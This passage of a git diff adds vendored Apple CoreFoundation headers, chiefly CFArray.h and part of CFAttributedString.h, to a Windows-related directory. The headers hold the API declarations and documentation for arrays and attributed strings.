MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_5 + #define DEPRECATED_IN_MAC_OS_X_VERSION_10_5_AND_LATER DEPRECATED_ATTRIBUTE +#else + #define DEPRECATED_IN_MAC_OS_X_VERSION_10_5_AND_LATER +#endif + +#endif /* __AVAILABILITYMACROS__ */ + + diff --git a/winstuff/CoreFoundation/CFArray.h b/winstuff/CoreFoundation/CFArray.h new file mode 100644 index 0000000..8c46d27 --- /dev/null +++ b/winstuff/CoreFoundation/CFArray.h @@ -0,0 +1,671 @@ +/* CFArray.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +/*! + @header CFArray + CFArray implements an ordered, compact container of pointer-sized + values. Values are accessed via integer keys (indices), from the + range 0 to N-1, where N is the number of values in the array when + an operation is performed. The array is said to be "compact" because + deleted or inserted values do not leave a gap in the key space -- + the values with higher-numbered indices have their indices + renumbered lower (or higher, in the case of insertion) so that the + set of valid indices is always in the integer range [0, N-1]. Thus, + the index to access a particular value in the array may change over + time as other values are inserted into or deleted from the array. + + Arrays come in two flavors, immutable, which cannot have values + added to them or removed from them after the array is created, and + mutable, to which you can add values or from which remove values. + Mutable arrays can have an unlimited number of values (or rather, + limited only by constraints external to CFArray, like the amount + of available memory). + + As with all CoreFoundation collection types, arrays maintain hard + references on the values you put in them, but the retaining and + releasing functions are user-defined callbacks that can actually do + whatever the user wants (for example, nothing). + + Computational Complexity + The access time for a value in the array is guaranteed to be at + worst O(lg N) for any implementation, current and future, but will + often be O(1) (constant time). Linear search operations similarly + have a worst case complexity of O(N*lg N), though typically the + bounds will be tighter, and so on. Insertion or deletion operations + will typically be linear in the number of values in the array, but + may be O(N*lg N) clearly in the worst case in some implementations. + There are no favored positions within the array for performance; + that is, it is not necessarily faster to access values with low + indices, or to insert or delete values with high indices, or + whatever. +*/ + +#if !defined(__COREFOUNDATION_CFARRAY__) +#define __COREFOUNDATION_CFARRAY__ 1 + +#include + +CF_EXTERN_C_BEGIN + +/*! + @typedef CFArrayCallBacks + Structure containing the callbacks of a CFArray. + @field version The version number of the structure type being passed + in as a parameter to the CFArray creation functions. This + structure is version 0. + @field retain The callback used to add a retain for the array on + values as they are put into the array. This callback returns + the value to store in the array, which is usually the value + parameter passed to this callback, but may be a different + value if a different value should be stored in the array. + The array's allocator is passed as the first argument. + @field release The callback used to remove a retain previously added + for the array from values as they are removed from the + array. The array's allocator is passed as the first + argument. + @field copyDescription The callback used to create a descriptive + string representation of each value in the array. This is + used by the CFCopyDescription() function. + @field equal The callback used to compare values in the array for + equality for some operations. +*/ +typedef const void * (*CFArrayRetainCallBack)(CFAllocatorRef allocator, const void *value); +typedef void (*CFArrayReleaseCallBack)(CFAllocatorRef allocator, const void *value); +typedef CFStringRef (*CFArrayCopyDescriptionCallBack)(const void *value); +typedef Boolean (*CFArrayEqualCallBack)(const void *value1, const void *value2); +typedef struct { + CFIndex version; + CFArrayRetainCallBack retain; + CFArrayReleaseCallBack release; + CFArrayCopyDescriptionCallBack copyDescription; + CFArrayEqualCallBack equal; +} CFArrayCallBacks; + +/*! + @constant kCFTypeArrayCallBacks + Predefined CFArrayCallBacks structure containing a set of callbacks + appropriate for use when the values in a CFArray are all CFTypes. +*/ +CF_EXPORT +const CFArrayCallBacks kCFTypeArrayCallBacks; + +/*! + @typedef CFArrayApplierFunction + Type of the callback function used by the apply functions of + CFArrays. + @param value The current value from the array. + @param context The user-defined context parameter given to the apply + function. +*/ +typedef void (*CFArrayApplierFunction)(const void *value, void *context); + +/*! + @typedef CFArrayRef + This is the type of a reference to immutable CFArrays. +*/ +typedef const struct __CFArray * CFArrayRef; + +/*! + @typedef CFMutableArrayRef + This is the type of a reference to mutable CFArrays. +*/ +typedef struct __CFArray * CFMutableArrayRef; + +/*! + @function CFArrayGetTypeID + Returns the type identifier of all CFArray instances. +*/ +CF_EXPORT +CFTypeID CFArrayGetTypeID(void); + +/*! + @function CFArrayCreate + Creates a new immutable array with the given values. + @param allocator The CFAllocator which should be used to allocate + memory for the array and its storage for values. This + parameter may be NULL in which case the current default + CFAllocator is used. If this reference is not a valid + CFAllocator, the behavior is undefined. + @param values A C array of the pointer-sized values to be in the + array. The values in the array are ordered in the same order + in which they appear in this C array. This parameter may be + NULL if the numValues parameter is 0. This C array is not + changed or freed by this function. If this parameter is not + a valid pointer to a C array of at least numValues pointers, + the behavior is undefined. + @param numValues The number of values to copy from the values C + array into the CFArray. This number will be the count of the + array. + If this parameter is negative, or greater than the number of + values actually in the value's C array, the behavior is + undefined. + @param callBacks A pointer to a CFArrayCallBacks structure + initialized with the callbacks for the array to use on each + value in the array. The retain callback will be used within + this function, for example, to retain all of the new values + from the values C array. A copy of the contents of the + callbacks structure is made, so that a pointer to a + structure on the stack can be passed in, or can be reused + for multiple array creations. If the version field of this + callbacks structure is not one of the defined ones for + CFArray, the behavior is undefined. The retain field may be + NULL, in which case the CFArray will do nothing to add a + retain to the contained values for the array. The release + field may be NULL, in which case the CFArray will do nothing + to remove the array's retain (if any) on the values when the + array is destroyed. If the copyDescription field is NULL, + the array will create a simple description for the value. If + the equal field is NULL, the array will use pointer equality + to test for equality of values. This callbacks parameter + itself may be NULL, which is treated as if a valid structure + of version 0 with all fields NULL had been passed in. + Otherwise, if any of the fields are not valid pointers to + functions of the correct type, or this parameter is not a + valid pointer to a CFArrayCallBacks callbacks structure, + the behavior is undefined. If any of the values put into the + array is not one understood by one of the callback functions + the behavior when that callback function is used is + undefined. + @result A reference to the new immutable CFArray. +*/ +CF_EXPORT +CFArrayRef CFArrayCreate(CFAllocatorRef allocator, const void **values, CFIndex numValues, const CFArrayCallBacks *callBacks); + +/*! + @function CFArrayCreateCopy + Creates a new immutable array with the values from the given array. + @param allocator The CFAllocator which should be used to allocate + memory for the array and its storage for values. This + parameter may be NULL in which case the current default + CFAllocator is used. If this reference is not a valid + CFAllocator, the behavior is undefined. + @param theArray The array which is to be copied. The values from the + array are copied as pointers into the new array (that is, + the values themselves are copied, not that which the values + point to, if anything). However, the values are also + retained by the new array. The count of the new array will + be the same as the given array. The new array uses the same + callbacks as the array to be copied. If this parameter is + not a valid CFArray, the behavior is undefined. + @result A reference to the new immutable CFArray. +*/ +CF_EXPORT +CFArrayRef CFArrayCreateCopy(CFAllocatorRef allocator, CFArrayRef theArray); + +/*! + @function CFArrayCreateMutable + Creates a new empty mutable array. + @param allocator The CFAllocator which should be used to allocate + memory for the array and its storage for values. This + parameter may be NULL in which case the current default + CFAllocator is used. If this reference is not a valid + CFAllocator, the behavior is undefined. + @param capacity A hint about the number of values that will be held + by the CFArray. Pass 0 for no hint. The implementation may + ignore this hint, or may use it to optimize various + operations. An array's actual capacity is only limited by + address space and available memory constraints). If this + parameter is negative, the behavior is undefined. + @param callBacks A pointer to a CFArrayCallBacks structure + initialized with the callbacks for the array to use on each + value in the array. A copy of the contents of the + callbacks structure is made, so that a pointer to a + structure on the stack can be passed in, or can be reused + for multiple array creations. If the version field of this + callbacks structure is not one of the defined ones for + CFArray, the behavior is undefined. The retain field may be + NULL, in which case the CFArray will do nothing to add a + retain to the contained values for the array. The release + field may be NULL, in which case the CFArray will do nothing + to remove the array's retain (if any) on the values when the + array is destroyed. If the copyDescription field is NULL, + the array will create a simple description for the value. If + the equal field is NULL, the array will use pointer equality + to test for equality of values. This callbacks parameter + itself may be NULL, which is treated as if a valid structure + of version 0 with all fields NULL had been passed in. + Otherwise, if any of the fields are not valid pointers to + functions of the correct type, or this parameter is not a + valid pointer to a CFArrayCallBacks callbacks structure, + the behavior is undefined. If any of the values put into the + array is not one understood by one of the callback functions + the behavior when that callback function is used is + undefined. + @result A reference to the new mutable CFArray. +*/ +CF_EXPORT +CFMutableArrayRef CFArrayCreateMutable(CFAllocatorRef allocator, CFIndex capacity, const CFArrayCallBacks *callBacks); + +/*! + @function CFArrayCreateMutableCopy + Creates a new mutable array with the values from the given array. + @param allocator The CFAllocator which should be used to allocate + memory for the array and its storage for values. This + parameter may be NULL in which case the current default + CFAllocator is used. If this reference is not a valid + CFAllocator, the behavior is undefined. + @param capacity A hint about the number of values that will be held + by the CFArray. Pass 0 for no hint. The implementation may + ignore this hint, or may use it to optimize various + operations. An array's actual capacity is only limited by + address space and available memory constraints). + This parameter must be greater than or equal + to the count of the array which is to be copied, or the + behavior is undefined. If this parameter is negative, the + behavior is undefined. + @param theArray The array which is to be copied. The values from the + array are copied as pointers into the new array (that is, + the values themselves are copied, not that which the values + point to, if anything). However, the values are also + retained by the new array. The count of the new array will + be the same as the given array. The new array uses the same + callbacks as the array to be copied. If this parameter is + not a valid CFArray, the behavior is undefined. + @result A reference to the new mutable CFArray. +*/ +CF_EXPORT +CFMutableArrayRef CFArrayCreateMutableCopy(CFAllocatorRef allocator, CFIndex capacity, CFArrayRef theArray); + +/*! + @function CFArrayGetCount + Returns the number of values currently in the array. + @param theArray The array to be queried. If this parameter is not a valid + CFArray, the behavior is undefined. + @result The number of values in the array. +*/ +CF_EXPORT +CFIndex CFArrayGetCount(CFArrayRef theArray); + +/*! + @function CFArrayGetCountOfValue + Counts the number of times the given value occurs in the array. + @param theArray The array to be searched. If this parameter is not a + valid CFArray, the behavior is undefined. + @param range The range within the array to search. If the range + location or end point (defined by the location plus length + minus 1) is outside the index space of the array (0 to + N-1 inclusive, where N is the count of the array), the + behavior is undefined. If the range length is negative, the + behavior is undefined. The range may be empty (length 0). + @param value The value for which to find matches in the array. The + equal() callback provided when the array was created is + used to compare. If the equal() callback was NULL, pointer + equality (in C, ==) is used. If value, or any of the values + in the array, are not understood by the equal() callback, + the behavior is undefined. + @result The number of times the given value occurs in the array, + within the specified range. +*/ +CF_EXPORT +CFIndex CFArrayGetCountOfValue(CFArrayRef theArray, CFRange range, const void *value); + +/*! + @function CFArrayContainsValue + Reports whether or not the value is in the array. + @param theArray The array to be searched. If this parameter is not a + valid CFArray, the behavior is undefined. + @param range The range within the array to search. If the range + location or end point (defined by the location plus length + minus 1) is outside the index space of the array (0 to + N-1 inclusive, where N is the count of the array), the + behavior is undefined. If the range length is negative, the + behavior is undefined. The range may be empty (length 0). + @param value The value for which to find matches in the array. The + equal() callback provided when the array was created is + used to compare. If the equal() callback was NULL, pointer + equality (in C, ==) is used. If value, or any of the values + in the array, are not understood by the equal() callback, + the behavior is undefined. + @result true, if the value is in the specified range of the array, + otherwise false. +*/ +CF_EXPORT +Boolean CFArrayContainsValue(CFArrayRef theArray, CFRange range, const void *value); + +/*! + @function CFArrayGetValueAtIndex + Retrieves the value at the given index. + @param theArray The array to be queried. If this parameter is not a + valid CFArray, the behavior is undefined. + @param idx The index of the value to retrieve. If the index is + outside the index space of the array (0 to N-1 inclusive, + where N is the count of the array), the behavior is + undefined. + @result The value with the given index in the array. +*/ +CF_EXPORT +const void *CFArrayGetValueAtIndex(CFArrayRef theArray, CFIndex idx); + +/*! + @function CFArrayGetValues + Fills the buffer with values from the array. + @param theArray The array to be queried. If this parameter is not a + valid CFArray, the behavior is undefined. + @param range The range of values within the array to retrieve. If + the range location or end point (defined by the location + plus length minus 1) is outside the index space of the + array (0 to N-1 inclusive, where N is the count of the + array), the behavior is undefined. If the range length is + negative, the behavior is undefined. The range may be empty + (length 0), in which case no values are put into the buffer. + @param values A C array of pointer-sized values to be filled with + values from the array. The values in the C array are ordered + in the same order in which they appear in the array. If this + parameter is not a valid pointer to a C array of at least + range.length pointers, the behavior is undefined. +*/ +CF_EXPORT +void CFArrayGetValues(CFArrayRef theArray, CFRange range, const void **values); + +/*! + @function CFArrayApplyFunction + Calls a function once for each value in the array. + @param theArray The array to be operated upon. If this parameter is not + a valid CFArray, the behavior is undefined. + @param range The range of values within the array to which to apply + the function. If the range location or end point (defined by + the location plus length minus 1) is outside the index + space of the array (0 to N-1 inclusive, where N is the count + of the array), the behavior is undefined. If the range + length is negative, the behavior is undefined. The range may + be empty (length 0). + @param applier The callback function to call once for each value in + the given range in the array. If this parameter is not a + pointer to a function of the correct prototype, the behavior + is undefined. If there are values in the range which the + applier function does not expect or cannot properly apply + to, the behavior is undefined. + @param context A pointer-sized user-defined value, which is passed + as the second parameter to the applier function, but is + otherwise unused by this function. If the context is not + what is expected by the applier function, the behavior is + undefined. +*/ +CF_EXPORT +void CFArrayApplyFunction(CFArrayRef theArray, CFRange range, CFArrayApplierFunction applier, void *context); + +/*! + @function CFArrayGetFirstIndexOfValue + Searches the array for the value. + @param theArray The array to be searched. If this parameter is not a + valid CFArray, the behavior is undefined. + @param range The range within the array to search. If the range + location or end point (defined by the location plus length + minus 1) is outside the index space of the array (0 to + N-1 inclusive, where N is the count of the array), the + behavior is undefined. If the range length is negative, the + behavior is undefined. The range may be empty (length 0). + The search progresses from the smallest index defined by + the range to the largest. + @param value The value for which to find a match in the array. The + equal() callback provided when the array was created is + used to compare. If the equal() callback was NULL, pointer + equality (in C, ==) is used. If value, or any of the values + in the array, are not understood by the equal() callback, + the behavior is undefined. + @result The lowest index of the matching values in the range, or + kCFNotFound if no value in the range matched. +*/ +CF_EXPORT +CFIndex CFArrayGetFirstIndexOfValue(CFArrayRef theArray, CFRange range, const void *value); + +/*! + @function CFArrayGetLastIndexOfValue + Searches the array for the value. + @param theArray The array to be searched. If this parameter is not a + valid CFArray, the behavior is undefined. + @param range The range within the array to search. If the range + location or end point (defined by the location plus length + minus 1) is outside the index space of the array (0 to + N-1 inclusive, where N is the count of the array), the + behavior is undefined. If the range length is negative, the + behavior is undefined. The range may be empty (length 0). + The search progresses from the largest index defined by the + range to the smallest. + @param value The value for which to find a match in the array. The + equal() callback provided when the array was created is + used to compare. If the equal() callback was NULL, pointer + equality (in C, ==) is used. If value, or any of the values + in the array, are not understood by the equal() callback, + the behavior is undefined. + @result The highest index of the matching values in the range, or + kCFNotFound if no value in the range matched. +*/ +CF_EXPORT +CFIndex CFArrayGetLastIndexOfValue(CFArrayRef theArray, CFRange range, const void *value); + +/*! + @function CFArrayBSearchValues + Searches the array for the value using a binary search algorithm. + @param theArray The array to be searched. If this parameter is not a + valid CFArray, the behavior is undefined. If the array is + not sorted from least to greatest according to the + comparator function, the behavior is undefined. + @param range The range within the array to search. If the range + location or end point (defined by the location plus length + minus 1) is outside the index space of the array (0 to + N-1 inclusive, where N is the count of the array), the + behavior is undefined. If the range length is negative, the + behavior is undefined. The range may be empty (length 0). + @param value The value for which to find a match in the array. If + value, or any of the values in the array, are not understood + by the comparator callback, the behavior is undefined. + @param comparator The function with the comparator function type + signature which is used in the binary search operation to + compare values in the array with the given value. If this + parameter is not a pointer to a function of the correct + prototype, the behavior is undefined. If there are values + in the range which the comparator function does not expect + or cannot properly compare, the behavior is undefined. + @param context A pointer-sized user-defined value, which is passed + as the third parameter to the comparator function, but is + otherwise unused by this function. If the context is not + what is expected by the comparator function, the behavior is + undefined. + @result The return value is either 1) the index of a value that + matched, if the target value matches one or more in the + range, 2) greater than or equal to the end point of the + range, if the value is greater than all the values in the + range, or 3) the index of the value greater than the target + value, if the value lies between two of (or less than all + of) the values in the range. +*/ +CF_EXPORT +CFIndex CFArrayBSearchValues(CFArrayRef theArray, CFRange range, const void *value, CFComparatorFunction comparator, void *context); + +/*! + @function CFArrayAppendValue + Adds the value to the array giving it a new largest index. + @param theArray The array to which the value is to be added. If this + parameter is not a valid mutable CFArray, the behavior is + undefined. + @param value The value to add to the array. The value is retained by + the array using the retain callback provided when the array + was created. If the value is not of the sort expected by the + retain callback, the behavior is undefined. The value is + assigned to the index one larger than the previous largest + index, and the count of the array is increased by one. +*/ +CF_EXPORT +void CFArrayAppendValue(CFMutableArrayRef theArray, const void *value); + +/*! + @function CFArrayInsertValueAtIndex + Adds the value to the array, giving it the given index. + @param theArray The array to which the value is to be added. If this + parameter is not a valid mutable CFArray, the behavior is + undefined. + @param idx The index to which to add the new value. If the index is + outside the index space of the array (0 to N inclusive, + where N is the count of the array before the operation), the + behavior is undefined. If the index is the same as N, this + function has the same effect as CFArrayAppendValue(). + @param value The value to add to the array. The value is retained by + the array using the retain callback provided when the array + was created. If the value is not of the sort expected by the + retain callback, the behavior is undefined. The value is + assigned to the given index, and all values with equal and + larger indices have their indexes increased by one. +*/ +CF_EXPORT +void CFArrayInsertValueAtIndex(CFMutableArrayRef theArray, CFIndex idx, const void *value); + +/*! + @function CFArraySetValueAtIndex + Changes the value with the given index in the array. + @param theArray The array in which the value is to be changed. If this + parameter is not a valid mutable CFArray, the behavior is + undefined. + @param idx The index to which to set the new value. If the index is + outside the index space of the array (0 to N inclusive, + where N is the count of the array before the operation), the + behavior is undefined. If the index is the same as N, this + function has the same effect as CFArrayAppendValue(). + @param value The value to set in the array. The value is retained by + the array using the retain callback provided when the array + was created, and the previous value with that index is + released. If the value is not of the sort expected by the + retain callback, the behavior is undefined. The indices of + other values is not affected. +*/ +CF_EXPORT +void CFArraySetValueAtIndex(CFMutableArrayRef theArray, CFIndex idx, const void *value); + +/*! + @function CFArrayRemoveValueAtIndex + Removes the value with the given index from the array. + @param theArray The array from which the value is to be removed. If + this parameter is not a valid mutable CFArray, the behavior + is undefined. + @param idx The index from which to remove the value. If the index is + outside the index space of the array (0 to N-1 inclusive, + where N is the count of the array before the operation), the + behavior is undefined. +*/ +CF_EXPORT +void CFArrayRemoveValueAtIndex(CFMutableArrayRef theArray, CFIndex idx); + +/*! + @function CFArrayRemoveAllValues + Removes all the values from the array, making it empty. + @param theArray The array from which all of the values are to be + removed. If this parameter is not a valid mutable CFArray, + the behavior is undefined. +*/ +CF_EXPORT +void CFArrayRemoveAllValues(CFMutableArrayRef theArray); + +/*! + @function CFArrayReplaceValues + Replaces a range of values in the array. + @param theArray The array from which all of the values are to be + removed. If this parameter is not a valid mutable CFArray, + the behavior is undefined. + @param range The range of values within the array to replace. If the + range location or end point (defined by the location plus + length minus 1) is outside the index space of the array (0 + to N inclusive, where N is the count of the array), the + behavior is undefined. If the range length is negative, the + behavior is undefined. The range may be empty (length 0), + in which case the new values are merely inserted at the + range location. + @param newValues A C array of the pointer-sized values to be placed + into the array. The new values in the array are ordered in + the same order in which they appear in this C array. This + parameter may be NULL if the newCount parameter is 0. This + C array is not changed or freed by this function. If this + parameter is not a valid pointer to a C array of at least + newCount pointers, the behavior is undefined. + @param newCount The number of values to copy from the values C + array into the CFArray. If this parameter is different than + the range length, the excess newCount values will be + inserted after the range, or the excess range values will be + deleted. This parameter may be 0, in which case no new + values are replaced into the array and the values in the + range are simply removed. If this parameter is negative, or + greater than the number of values actually in the newValues + C array, the behavior is undefined. +*/ +CF_EXPORT +void CFArrayReplaceValues(CFMutableArrayRef theArray, CFRange range, const void **newValues, CFIndex newCount); + +/*! + @function CFArrayExchangeValuesAtIndices + Exchanges the values at two indices of the array. + @param theArray The array of which the values are to be swapped. If + this parameter is not a valid mutable CFArray, the behavior + is undefined. + @param idx1 The first index whose values should be swapped. If the + index is outside the index space of the array (0 to N-1 + inclusive, where N is the count of the array before the + operation), the behavior is undefined. + @param idx2 The second index whose values should be swapped. If the + index is outside the index space of the array (0 to N-1 + inclusive, where N is the count of the array before the + operation), the behavior is undefined. +*/ +CF_EXPORT +void CFArrayExchangeValuesAtIndices(CFMutableArrayRef theArray, CFIndex idx1, CFIndex idx2); + +/*! + @function CFArraySortValues + Sorts the values in the array using the given comparison function. + @param theArray The array whose values are to be sorted. If this + parameter is not a valid mutable CFArray, the behavior is + undefined. + @param range The range of values within the array to sort. If the + range location or end point (defined by the location plus + length minus 1) is outside the index space of the array (0 + to N-1 inclusive, where N is the count of the array), the + behavior is undefined. If the range length is negative, the + behavior is undefined. The range may be empty (length 0). + @param comparator The function with the comparator function type + signature which is used in the sort operation to compare + values in the array with the given value. If this parameter + is not a pointer to a function of the correct prototype, the + the behavior is undefined. If there are values in the array + which the comparator function does not expect or cannot + properly compare, the behavior is undefined. The values in + the range are sorted from least to greatest according to + this function. + @param context A pointer-sized user-defined value, which is passed + as the third parameter to the comparator function, but is + otherwise unused by this function. If the context is not + what is expected by the comparator function, the behavior is + undefined. +*/ +CF_EXPORT +void CFArraySortValues(CFMutableArrayRef theArray, CFRange range, CFComparatorFunction comparator, void *context); + +/*! + @function CFArrayAppendArray + Adds the values from an array to another array. + @param theArray The array to which values from the otherArray are to + be added. If this parameter is not a valid mutable CFArray, + the behavior is undefined. + @param otherArray The array providing the values to be added to the + array. If this parameter is not a valid CFArray, the + behavior is undefined. + @param otherRange The range within the otherArray from which to add + the values to the array. If the range location or end point + (defined by the location plus length minus 1) is outside + the index space of the otherArray (0 to N-1 inclusive, where + N is the count of the otherArray), the behavior is + undefined. The new values are retained by the array using + the retain callback provided when the array was created. If + the values are not of the sort expected by the retain + callback, the behavior is undefined. The values are assigned + to the indices one larger than the previous largest index + in the array, and beyond, and the count of the array is + increased by range.length. The values are assigned new + indices in the array from smallest to largest index in the + order in which they appear in the otherArray. +*/ +CF_EXPORT +void CFArrayAppendArray(CFMutableArrayRef theArray, CFArrayRef otherArray, CFRange otherRange); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFARRAY__ */ + diff --git a/winstuff/CoreFoundation/CFAttributedString.h b/winstuff/CoreFoundation/CFAttributedString.h new file mode 100644 index 0000000..b657b36 --- /dev/null +++ b/winstuff/CoreFoundation/CFAttributedString.h @@ -0,0 +1,146 @@ +/* CFAttributedString.h + Copyright (c) 2004-2007, Apple Inc. All rights reserved. +*/ + +/*! @header CFAttributedString +Instance of CFAttributedString manage character strings and associated sets of attributes (for example, font and kerning) that apply to individual characters or ranges of characters in the string. CFAttributedString as defined in CoreFoundation provides the basic container functionality, while higher levels provide definitions for standard attributes, their values, and additional behaviors involving these. + +CFAttributedString is not a "subclass" of CFString; that is, it does not respond to CFString function calls. CFAttributedString conceptually contains a CFString to which it applies attributes. This protects users of attributed strings from ambiguities caused by the semantic differences between simple and attributed string. + +Attributes are identified by key/value pairs stored in CFDictionaryRefs. Keys must be CFStrings, while the values are arbitrary CFTypeRefs. +*/ + +#if !defined(__COREFOUNDATION_CFATTRIBUTEDSTRING__) +#define __COREFOUNDATION_CFATTRIBUTEDSTRING__ 1 + +#include +#include +#include + +CF_EXTERN_C_BEGIN + + +/* CFAttributedString comes in immutable and mutable flavors. +*/ +typedef const struct __CFAttributedString *CFAttributedStringRef; +typedef struct __CFAttributedString *CFMutableAttributedStringRef; + +/*! @function CFAttributedStringGetTypeID +Returns the type identifier of all CFAttributedString instances. +*/ +CF_EXPORT CFTypeID CFAttributedStringGetTypeID(void) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + + + +/*** CFAttributedString ***/ + +/*! @function CFAttributedStringCreate +Creates an attributed string with the specified string and attributes (both copied). +*/ +CF_EXPORT CFAttributedStringRef CFAttributedStringCreate(CFAllocatorRef alloc, CFStringRef str, CFDictionaryRef attributes) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +/*! @function CFAttributedStringCreateWithSubstring +Creates a sub-attributed string from the specified range. It's a programming error for range to specify characters outside the bounds of aStr. +*/ +CF_EXPORT CFAttributedStringRef CFAttributedStringCreateWithSubstring(CFAllocatorRef alloc, CFAttributedStringRef aStr, CFRange range) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +/*! @function CFAttributedStringCreateCopy +Creates an immutable attributed string copy. +*/ +CF_EXPORT CFAttributedStringRef CFAttributedStringCreateCopy(CFAllocatorRef alloc, CFAttributedStringRef aStr) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +/*! @function CFAttributedStringGetString +Returns the string for the attributed string. For performance reasons, this will often point at the backing store of the attributed string, and it might change if the attributed string is edited. However, this is an implementation detail, and definitely not something that should be counted on. +*/ +CF_EXPORT CFStringRef CFAttributedStringGetString(CFAttributedStringRef aStr) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +/*! @function CFAttributedStringGetLength +Returns the length of the attributed string in characters; same as CFStringGetLength(CFAttributedStringGetString(aStr)) +*/ +CF_EXPORT CFIndex CFAttributedStringGetLength(CFAttributedStringRef aStr) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +/*! @function CFAttributedStringGetAttributes +Returns the attributes at the specified location. If effectiveRange is not NULL, upon return *effectiveRange contains a range over which the exact same set of attributes apply. Note that for performance reasons, the returned effectiveRange is not necessarily the maximal range - for that, use CFAttributedStringGetAttributesAndLongestEffectiveRange(). It's a programming error for loc to specify a location outside the bounds of the attributed string. + +Note that the returned attribute dictionary might change in unpredictable ways from under the caller if the attributed string is edited after this call. If you wish to hang on to the dictionary long-term, you should make an actual copy of it rather than just retaining it. Also, no assumptions should be made about the relationship of the actual CFDictionaryRef returned by this call and the dictionary originally used to set the attributes, other than the fact that the values stored in the dictionary will be identical (that is, ==) to those originally specified. +*/ +CF_EXPORT CFDictionaryRef CFAttributedStringGetAttributes(CFAttributedStringRef aStr, CFIndex loc, CFRange *effectiveRange) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +/*! @function CFAttributedStringGetAttribute +Returns the value of a single attribute at the specified location. If the specified attribute doesn't exist at the location, returns NULL. If effectiveRange is not NULL, upon return *effectiveRange contains a range over which the exact same attribute value applies. Note that for performance reasons, the returned effectiveRange is not necessarily the maximal range - for that, use CFAttributedStringGetAttributeAndLongestEffectiveRange(). It's a programming error for loc to specify a location outside the bounds of the attributed string. +*/ +CF_EXPORT CFTypeRef CFAttributedStringGetAttribute(CFAttributedStringRef aStr, CFIndex loc, CFStringRef attrName, CFRange *effectiveRange) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +/*! @function CFAttributedStringGetAttributesAndLongestEffectiveRange +Returns the attributes at the specified location. If longestEffectiveRange is not NULL, upon return *longestEffectiveRange contains the maximal range within inRange over which the exact same set of attributes apply. The returned range is clipped to inRange. It's a programming error for loc or inRange to specify locations outside the bounds of the attributed string. +*/ +CF_EXPORT CFDictionaryRef CFAttributedStringGetAttributesAndLongestEffectiveRange(CFAttributedStringRef aStr, CFIndex loc, CFRange inRange, CFRange *longestEffectiveRange) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +/*! @function CFAttributedStringGetAttributeAndLongestEffectiveRange +Returns the value of a single attribute at the specified location. If longestEffectiveRange is not NULL, upon return *longestEffectiveRange contains the maximal range within inRange over which the exact same attribute value applies. The returned range is clipped to inRange. It's a programming error for loc or inRange to specify locations outside the bounds of the attributed string. +*/ +CF_EXPORT CFTypeRef CFAttributedStringGetAttributeAndLongestEffectiveRange(CFAttributedStringRef aStr, CFIndex loc, CFStringRef attrName, CFRange inRange, CFRange *longestEffectiveRange) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + + + +/*** CFMutableAttributedString ***/ + +/*! @function CFAttributedStringCreateMutableCopy +Creates a mutable attributed string copy. maxLength, if not 0, is a hard bound on the length of the attributed string; exceeding this size limit during any editing operation is a programming error. If 0, there is no limit on the length. +*/ +CF_EXPORT CFMutableAttributedStringRef CFAttributedStringCreateMutableCopy(CFAllocatorRef alloc, CFIndex maxLength, CFAttributedStringRef aStr) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +/*! @function CFAttributedStringCreateMutable +Creates a mutable empty attributed string. maxLength, if not 0, is a hard bound on the length of the attributed string; exceeding this size limit during any editing operation is a programming error. If 0, there is no limit on the length. +*/ +CF_EXPORT CFMutableAttributedStringRef CFAttributedStringCreateMutable(CFAllocatorRef alloc, CFIndex maxLength) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +/*! @function CFAttributedStringReplaceString +Modifies the string for the attributed string, much like CFStringReplace(). It's an error for range to specify characters outside the bounds of aStr. + +(Note: This function is a convenience on CFAttributedStringGetMutableString(); however, until CFAttributedStringGetMutableString() is implemented, it remains the only way to edit the string of the attributed string.) +*/ +CF_EXPORT void CFAttributedStringReplaceString(CFMutableAttributedStringRef aStr, CFRange range, CFStringRef replacement) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +/*! @function CFAttributedStringGetMutableString +Gets the string for the attributed string as a mutable string, allowing editing the character contents of the string as if it were an CFMutableString. Attributes corresponding to the edited range are appropriately modified. If, as a result of the edit, new characters are introduced into the string, they inherit the attributes of the first replaced character from range. If no existing characters are replaced by the edit, the new characters inherit the attributes of the character preceding range if it has any, otherwise of the character following range. If the initial string is empty, the attributes for the new characters are also empty. + +(Note: This function is not yet implemented and will return NULL except for toll-free bridged instances.) +*/ +CF_EXPORT CFMutableStringRef CFAttributedStringGetMutableString(CFMutableAttributedStringRef aStr) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +/*! @function CFAttributedStringSetAttributes +Sets the value of multiple attributes over the specified range, which should be valid. If clearOtherAttributes is false, existing attributes (which aren't being replaced) are left alone; otherwise they are cleared. The dictionary should be setup for "usual" CF type usage --- CFString keys, and arbitrary CFType values. Note that after this call, further mutations to the replacement dictionary argument by the caller will not affect the contents of the attributed string. +*/ +CF_EXPORT void CFAttributedStringSetAttributes(CFMutableAttributedStringRef aStr, CFRange range, CFDictionaryRef replacement, Boolean clearOtherAttributes) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +/*! @function CFAttributedStringSetAttribute +Sets the value of a single attribute over the specified range, which should be valid. value should not be NULL. +*/ +CF_EXPORT void CFAttributedStringSetAttribute(CFMutableAttributedStringRef aStr, CFRange range, CFStringRef attrName, CFTypeRef value) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +/*! @function CFAttributedStringRemoveAttribute +Removes the value of a single attribute over the specified range, which should be valid. It's OK for the attribute not the exist over the specified range. +*/ +CF_EXPORT void CFAttributedStringRemoveAttribute(CFMutableAttributedStringRef aStr, CFRange range, CFStringRef attrName) 